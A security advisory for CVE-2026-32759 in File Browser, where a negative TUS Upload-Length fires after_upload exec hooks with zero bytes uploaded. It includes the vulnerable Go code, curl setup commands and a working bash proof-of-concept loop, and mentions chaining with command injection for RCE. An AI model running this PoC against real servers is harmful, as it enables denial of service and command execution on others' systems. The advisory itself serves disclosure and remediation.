GHSA-ffx7-75gc-jg7c CVE-2026-32759 GO-2026-4713
File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 1.94%
- Chance of exploitation in the next 30 days. Higher than 80.07% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
2.33.8- Upgrade github.com/filebrowser/filebrowser/v2 to this version or later
Description
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.
Details
Affected file: http/tus_handlers.go
Vulnerable code - POST (register upload):
func getUploadLength(r *http.Request) (int64, error) {
uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)
if err != nil {
return 0, fmt.Errorf("invalid upload length: %w", err)
}
return uploadOffset, nil
}
uploadLength, err := getUploadLength(r)
cache.Register(file.RealPath(), uploadLength)
Vulnerable code - PATCH (write chunk):
newOffset := uploadOffset + bytesWritten
if newOffset >= uploadLength {
cache.Complete(file.RealPath())
_ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)
}
The completion check uses signed comparison. Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.
Consequence: An attacker with upload permission can:
- Initiate a TUS upload for any filename with Upload-Length: -1
- Send a PATCH with an empty body ( Upload-Offset: 0 )
- after_upload hook fires immediately with a 0-byte (or partial) file
- Repeat indefinitely - each POST+PATCH cycle re-fires the hook
If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.
Demo Server Setup
docker run -d --name fb-tus \
-p 8080:80 \
-v /tmp/fb-tus:/srv \
-e FB_EXECER=true \
filebrowser/filebrowser:v2.31.2
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}')
curl -s -X PUT http://localhost:8080/api/settings \
-H "X-Auth: $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"commands": {
"after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""]
}
}'
PoC Exploit
#!/bin/bash
TARGET="http://localhost:8080"
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Token: ${TOKEN:0:40}..."
FILENAME="/trigger_test_$(date +%s).txt"
echo "[*] Step 1: POST TUS upload with Upload-Length: -1"
curl -s -X POST "$TARGET/api/tus$FILENAME" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: -1" \
-H "Content-Length: 0" \
-v 2>&1 | grep -E "HTTP|Location"
echo ""
echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"
curl -s -X PATCH "$TARGET/api/tus$FILENAME" \
-H "X-Auth: $TOKEN" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-H "Content-Length: 0" \
-v 2>&1 | grep -E "HTTP|Upload"
echo ""
echo "[*] Checking hook log on server (/tmp/hook_log.txt)..."
echo "[*] If hook fired, you will see entries like:"
echo " HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>"
echo ""
echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."
for i in $(seq 1 5); do
FNAME="/spam_hook_$i.txt"
curl -s -X POST "$TARGET/api/tus$FNAME" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: -1" \
-H "Content-Length: 0" > /dev/null
curl -s -X PATCH "$TARGET/api/tus$FNAME" \
-H "X-Auth: $TOKEN" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-H "Content-Length: 0" > /dev/null
echo " Hook trigger $i sent"
done
echo "[*] Done - 5 hooks fired with 0 bytes uploaded."
Impact
Exec Hook Abuse (when enableExec = true):
An attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:
- Denial of Service:
Triggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side.
- Command Injection amplification:
Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.
- Business logic abuse:
Triggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.
Hook-free impact:
Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.
Who is affected:
All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.
Resolution
This vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | all versions |
No fix yet |
| github.com/filebrowser/filebrowser/v2 | < 2.33.8 |
2.33.8 |
| github.com/filebrowser/filebrowser/v2 | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/filebrowser/filebrowser/v2 Go → 2.33.8
- go
go get github.com/filebrowser/filebrowser/v2@v2.33.8 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- Low
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-190: Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
How to prevent it
- Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-833g-cqhp-h72j File Browser: Share API exposes the password hash and bypass token | Low | Also affects github.com/filebrowser/filebrowser |
| GHSA-83xp-526h-j3ww File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-7rc3-g7h6-22m7 File Browser: Colliding username normalization gives two users the same home directory | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-8wc8-hf36-mjh9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-fmm7-x4gx-8jhr File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-xqp3-jq6g-x3qm File Browser: Authentication Bypass via Proxy Auth Header Forgery | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-m93h-4hw7-5qcm File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE) | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-8c9q-7855-wfxq File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection | High | Also affects github.com/filebrowser/filebrowser |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor